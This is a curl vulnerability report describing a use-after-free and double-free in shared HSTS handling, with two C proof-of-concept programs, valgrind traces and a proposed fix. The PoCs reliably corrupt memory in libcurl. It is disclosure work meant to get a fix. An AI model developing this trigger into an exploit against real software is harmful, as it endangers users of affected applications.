curl · Report #3733934
CURLOPT_HSTS_CTRL disables shared HSTS without share guard — use-after-free and double-free
How it was found
Hi all,
CURLOPT_HSTS_CTRL set to a value without CURLHSTS_ENABLE unconditionally frees the easy's HSTS object — even when that object is shared via a CURLSH. The result is a use-after-free and a double-free on the shared 48-byte struct hsts block when the share or any other linked easy is later torn down.
The CURLOPT_HSTS_CTRL case was originally written in 7385610d0c (2020-11-02, "hsts: add support for Strict-Transport-Security") when no shared HSTS existed, so the unconditional cleanup was fine. Shared HSTS landed in 076a2f6291 (2022-12-27, "share: add sharing of HSTS cache among handles"), which added the if(!data->share || !data->share->hsts) guard to two of the three cleanup sites — lib/setopt.c:2508 (CURLOPT_HSTS cleared) and lib/url.c:266 (Curl_close) — but missed the CURLOPT_HSTS_CTRL path. So the bug has been reachable since 2022-12-27.
The short version: lib/setopt.c:1274-1286:
case CURLOPT_HSTS_CTRL:
if(arg & CURLHSTS_ENABLE) {
if(!data->hsts) {
data->hsts = Curl_hsts_init();
...
}
}
else
Curl_hsts_cleanup(&data->hsts); /* <-- no share guard */
break;
The two structurally identical sibling paths do have the guard. lib/setopt.c:2508-2510 (CURLOPT_HSTS cleared):
if(!data->share || !data->share->hsts)
/* throw away the HSTS cache unless shared */
Curl_hsts_cleanup(&data->hsts);
and lib/url.c:266-267 (Curl_close) does the same. The CURLOPT_HSTS_CTRL path was just missed.
Curl_share_easy_link (lib/curl_share.c:455-461) aliases share->hsts straight into data->hsts on link — so after linking N easy handles to a share with CURLSHOPT_SHARE/CURL_LOCK_DATA_HSTS, you have one heap block and N+1 pointers. The buggy cleanup frees the block via one alias and nulls only that alias; share->hsts and every other linked easy's data->hsts are now dangling.
PoC (F4_poc.c):
/*
* F4 PoC: CURLOPT_HSTS_CTRL UAF / double-free via shared HSTS
*/
#include <stdio.h>
#include <curl/curl.h>
int main(void)
{
CURLSH *share;
CURL *easyA, *easyB;
CURLcode rc;
curl_global_init(CURL_GLOBAL_DEFAULT);
share = curl_share_init();
if(!share) { fprintf(stderr, "share init failed\n"); return 1; }
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);
easyA = curl_easy_init();
easyB = curl_easy_init();
if(!easyA || !easyB) { fprintf(stderr, "easy init failed\n"); return 1; }
/* Link both easies to the share. After this, both
* easyA->hsts and easyB->hsts alias share->hsts.
*/
curl_easy_setopt(easyA, CURLOPT_SHARE, share);
curl_easy_setopt(easyB, CURLOPT_SHARE, share);
fprintf(stderr, "[poc] both easies linked; share->hsts is aliased\n");
/* The bug: CURLOPT_HSTS_CTRL without CURLHSTS_ENABLE.
* lib/setopt.c:1283-1284 unconditionally calls
* Curl_hsts_cleanup(&data->hsts);
* which frees the shared hsts object via easyA's alias and
* nulls only easyA->hsts. share->hsts and easyB->hsts still
* point to the freed object.
*/
rc = curl_easy_setopt(easyA, CURLOPT_HSTS_CTRL, 0L);
fprintf(stderr, "[poc] CURLOPT_HSTS_CTRL=0 returned %d\n", (int)rc);
/* At this point share->hsts is a dangling pointer.
* Tearing down anything that touches it triggers the UAF/double-free:
* - curl_easy_cleanup(easyB) goes through Curl_close, which
* checks data->share->hsts (read of freed memory) and may skip
* the free; but then
* - curl_share_cleanup(share) -> share_destroy() ->
* Curl_hsts_cleanup(&share->hsts) is a guaranteed double free.
*/
curl_easy_cleanup(easyA);
curl_easy_cleanup(easyB);
curl_share_cleanup(share); /* double-free / UAF lands here */
curl_global_cleanup();
fprintf(stderr, "[poc] survived (unexpected)\n");
return 0;
}
A shorter variant (F4_poc_v2.c) that tears down the share first — same bug, lands the double-free directly on curl_share_cleanup without going through any easy cleanup:
#include <stdio.h>
#include <curl/curl.h>
int main(void)
{
CURLSH *share;
CURL *easyA, *easyB;
curl_global_init(CURL_GLOBAL_DEFAULT);
share = curl_share_init();
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);
easyA = curl_easy_init();
easyB = curl_easy_init();
curl_easy_setopt(easyA, CURLOPT_SHARE, share);
curl_easy_setopt(easyB, CURLOPT_SHARE, share);
curl_easy_setopt(easyA, CURLOPT_HSTS_CTRL, 0L);
/* Tear down share first; ASan should flag double-free */
curl_share_cleanup(share);
return 0;
}
Build against the local --disable-shared build and run under valgrind:
gcc -g -O0 F4_poc.c -I include lib/.libs/libcurl.a \
-lnghttp2 -lidn2 -lssl -lcrypto -lzstd -lbrotlidec -lz \
-lunistring -lbrotlicommon -lpthread -ldl -o F4_poc_nosan
valgrind --leak-check=no ./F4_poc_nosan
Valgrind output (trimmed to the load-bearing frames — allocation, first free, UAF read, second free):
[poc] both easies linked; share->hsts is aliased
[poc] CURLOPT_HSTS_CTRL=0 returned 0
==1136270== Invalid read of size 4
==1136270== at 0x11F95A: Curl_hsts_save
==1136270== by 0x13FB46: Curl_close
==1136270== by 0x11B3BB: curl_easy_cleanup
==1136270== by 0x1187C9: main (F4_poc.c:63) <- easyB cleanup
==1136270== Address 0x556fba8 is 40 bytes inside a block of size 48 free'd
==1136270== at 0x484D8BF: free
==1136270== by 0x11F61D: Curl_hsts_cleanup
==1136270== by 0x13512B: setopt_long_misc <- first free
==1136270== by 0x13690B: Curl_vsetopt
==1136270== by 0x1393BC: curl_easy_setopt
==1136270== by 0x11878D: main (F4_poc.c:50) <- CURLOPT_HSTS_CTRL=0
==1136270== Block was alloc'd at
==1136270== at 0x4851BE3: calloc
==1136270== by 0x11F5A7: Curl_hsts_init
==1136270== by 0x118D12: curl_share_setopt <- one allocation
==1136270== by 0x1186CE: main (F4_poc.c:29) <- CURLSHOPT_SHARE
==1136270== Invalid free() / delete / delete[] / realloc()
==1136270== at 0x484D8BF: free
==1136270== by 0x11F61D: Curl_hsts_cleanup
==1136270== by 0x11883D: share_destroy
==1136270== by 0x118E19: curl_share_cleanup
==1136270== by 0x1187D5: main (F4_poc.c:64) <- second free
==1136270== Address 0x556fb80 is 0 bytes inside a block of size 48 free'd
==1136270== at 0x484D8BF: free
==1136270== by 0x11F61D: Curl_hsts_cleanup
==1136270== by 0x13512B: setopt_long_misc <- (same earlier free)
==1136270== by 0x13690B: Curl_vsetopt
==1136270== by 0x1393BC: curl_easy_setopt
==1136270== by 0x11878D: main (F4_poc.c:50)
==1136270== Block was alloc'd at
==1136270== at 0x4851BE3: calloc
==1136270== by 0x11F5A7: Curl_hsts_init
==1136270== by 0x118D12: curl_share_setopt
==1136270== by 0x1186CE: main (F4_poc.c:29)
==1136270== ERROR SUMMARY: 5 errors from 5 contexts (suppressed: 0 from 0)
One allocation, two distinct frees of it, and several UAF reads in between. With ASan the second cleanup pass deterministically SEGVs inside Curl_node_elem while share_destroy walks the freed list.
Fix is the same else if already used at lib/setopt.c:2508:
- else
- Curl_hsts_cleanup(&data->hsts);
+ else if(!data->share || !data->share->hsts)
+ Curl_hsts_cleanup(&data->hsts);
Looking at the documentation a bit, the CURLOPT_HSTS_CTRL docs list 0 as the default value and contain no warning whatsoever about share handles, and the CURLOPT_SHARE docs don't mention HSTS at all. So setting CURLOPT_HSTS_CTRL to a value without CURLHSTS_ENABLE is (afaict) the documented way to disable HSTS on a handle, and there is nothing in the API that tells a caller this is unsafe on a shared handle. The default-is-zero aspect makes it somehwat worse: calling curl_easy_setopt(h, CURLOPT_HSTS_CTRL, 0L) to reset a handle to defaults (seems reasonable) is enough to trigger the free on a share that has HSTS enabled.
This looks like the same issue as CVE-2018-16840 and possibly CVE-2023-27537.
Cheers, Joshua
Impact
Setting CURLOPT_HSTS_CTRL without CURLHSTS_ENABLE on any easy handle linked to a share frees the shared HSTS object and leaves every other handle in the share — and the share itself — holding a dangling pointer, guaranteeing a double-free on the next cleanup or HSTS operation.